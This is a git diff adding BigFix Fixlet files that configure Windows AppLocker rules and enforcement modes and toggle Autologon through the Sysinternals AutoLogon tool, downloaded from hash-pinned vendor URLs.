+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes
new file mode 100644
index 000000000..7cdfdd554
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows (20622).bes	
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows
+  ID       : 20622
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:36
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed AppX - Windows</Title>
+    <Description><![CDATA[<P>This policy adds&nbsp;a policy&nbsp;Applocker. Specifically it configures:</P>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes
new file mode 100644
index 000000000..a4f294340
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows (20623).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows
+  ID       : 20623
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow everyone to run signed executables</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;4e586c7f-c597-46fc-a4e4-20008f03463d&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+// This Rule uses a custom generated GUID
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePublisherRule Id="4e586c7f-c597-46fc-a4e4-20008f03463d" Name="(Custom Rule) All digitally signed Windows Executable files" Description="Allows members of the Everyone group to run digitally signed Windows Executable files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes
new file mode 100644
index 000000000..354ccfba9
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows (20624).bes	
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows
+  ID       : 20624
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Signed Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes
new file mode 100644
index 000000000..78792d852
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Reset Local Rules - Windows (20625).bes	
@@ -0,0 +1,53 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Config - Applocker Rules - Reset Local Rules - Windows
+  ID       : 20625
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:32:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Config - Applocker Rules - Reset Local Rules - Windows</Title>
+    <Description><![CDATA[<P>This <STRONG>Task</STRONG> resets the local Applocker Policy.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[number of ((if (exists it) then (it) else none) of (matches (regex "\[[^;]*;[^;]*;[^;]*;([^;];|[^]]){1,2}.") of concatenations "" of substrings separated by "%00" of lines of files "Registry.pol" of folders "GroupPolicy\Machine" of native system folder)) whose (it contains "SrpV2") > 1]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-11</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+</AppLockerPolicy>
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+
+wait gpupdate /target:computer /force
+]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes
new file mode 100644
index 000000000..a2e993774
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Add User Account - Windows (23677).bes	
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Autologon - Add User Account - Windows
+  ID       : 23677
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-07T12:49:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Autologon - Add User Account - Windows</Title>
+    <Description><![CDATA[<DIV id=fixletMessage2 class=FixletMessage>
+<DIV id=paramFixletDescription>
+<P>Configure Autologon!</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P><script>
+loaded = false;
+var CODE_SITE_NAME = 'BES Support' ;
+function loadScript (siteName, callback) {
+loaded = false;
+var relevanceQuery ='( value of it) of (mime fields of (bes fixlets whose ( name of it = "Parameterized Fixlet Library" and  name of site of it = \"' + siteName + '\" ))) whose (name of it = "vrt_utils.js")'
+var code = EvaluateRelevance(relevanceQuery);
+var head = document.getElementsByTagName("head")[0];
+var script   = document.createElement("script");
+script.type  = "text/javascript";
+script.text = code;
+head.appendChild(script);
+callback();
+}
+function scriptLoaded(){
+if (!loaded){
+if ( typeof FixletUtils !== 'undefined') {
+loaded = true;
+/*
+* Pleas Note: The following code will be moved to library with next publish of lib and user will have to only call method
+*/
+var relQuery = "(messages of it) of bes fixlets whose (name of it = \"Parameterized Fixlet Library\" and ((name of it ) of site of it = \"" + CODE_SITE_NAME +"\" ))";
+var messages = EvaluateRelevance(relQuery);
+var regex = /\s*<DIV id=globalizationMessageDiv  style="display:none;">([\x00-\x7F]+)\s*<\/Div>/i;
+var matches = regex.exec(messages);
+matches[1]=matches[1].replace(/<br>/gi,"");
+eval(matches[1]);
+FixletUtils.initFixletRender();
+} } }
+loadScript(CODE_SITE_NAME, scriptLoaded);
+</script> </DIV></DIV>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-21</SourceReleaseDate>
+    <MIMEField>
+      <Name>parametermetadatatag</Name>
+      <Value>{   &quot;Section1&quot;: {     &quot;Name&quot;: &quot;UserAccount&quot;,     &quot;Title&quot;: &quot;Autologon User&quot;,     &quot;UIType&quot;: &quot;accordion&quot;,     &quot;Values&quot;: [       {         &quot;Name&quot;: &quot;AutoDomain&quot;,         &quot;Title&quot;: &quot;Active Directory Domain&quot;,         &quot;Description&quot;: &quot;Active Directory Domain&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;NetBIOS&quot;       },       {         &quot;Name&quot;: &quot;AutoUsername&quot;,         &quot;Title&quot;: &quot;Account Username&quot;,         &quot;Description&quot;: &quot;Account Username&quot;,         &quot;UIType&quot;: &quot;TextBox&quot;,         &quot;Default&quot;: &quot;Username&quot;       },       {         &quot;Name&quot;: &quot;AutoPassword&quot;,         &quot;Title&quot;: &quot;Account Password&quot;,         &quot;Description&quot;: &quot;Account Password&quot;,         &quot;UIType&quot;: &quot;Textbox&quot;,         &quot;Encrypt&quot;: &quot;true&quot;,         &quot;SubUIType&quot;: &quot;Password&quot;       }     ]   } }</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+action uses wow64 redirection {not x64 of operating system}
+
+prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+
+waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;{Parameter &quot;AutoUsername&quot; of action}&quot; &quot;{parameter &quot;AutoDomain&quot; of action}&quot; &quot;{parameter &quot;AutoPassword&quot; of action}&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes
new file mode 100644
index 000000000..65a7681aa
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Autologon - Disable - Windows (23678).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Autologon - Disable - Windows
+  ID       : 23678
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-07T12:49:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Autologon - Disable - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;AutoAdminLogon&quot; whose (it as string = &quot;1&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch AutoLogon.zip sha1:EEA24BA8E82B7357972B4A5A55B9A424B56F62D3 size:72623 https://download.sysinternals.com/files/AutoLogon.zip sha256:4BA5B92411A9B4B8743BDC479EAD0E3F50ED2C8CB5517A49246EF57F3EBB09C7
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+waithidden __Download\unzip.exe -o &quot;{pathname of file &quot;AutoLogon.zip&quot; of folder &quot;__Download&quot; of client folder of current site}&quot; -d &quot;{pathname of folder &quot;__Download&quot; of client folder of current site}&quot;
+
+
+waithidden &quot;__Download\AutoLogon.exe&quot; -accepteula &quot;&quot; &quot;&quot; &quot;&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes
new file mode 100644
index 000000000..c6ea037dc
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Audit All - Windows (20703).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Method - Audit All - Windows
+  ID       : 20703
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Method - Audit All - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Audit</P>
+<P>Executables - Audit</P>
+<P>Installers - Audit</P>
+<P>Scripts - Audit</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\AuditMode.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="AuditMode"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes
new file mode 100644
index 000000000..4bb671744
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Method - Enforce All - Windows
+  ID       : 20704
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Method - Enforce All - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Enforced</P>
+<P>Executables - Enforced</P>
+<P>Installers - Enforced</P>
+<P>Scripts - Enforced</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\EnforceMode.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="EnforceMode"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="Enabled">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes
new file mode 100644
index 000000000..f49b80f24
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes	
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows
+  ID       : 20705
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
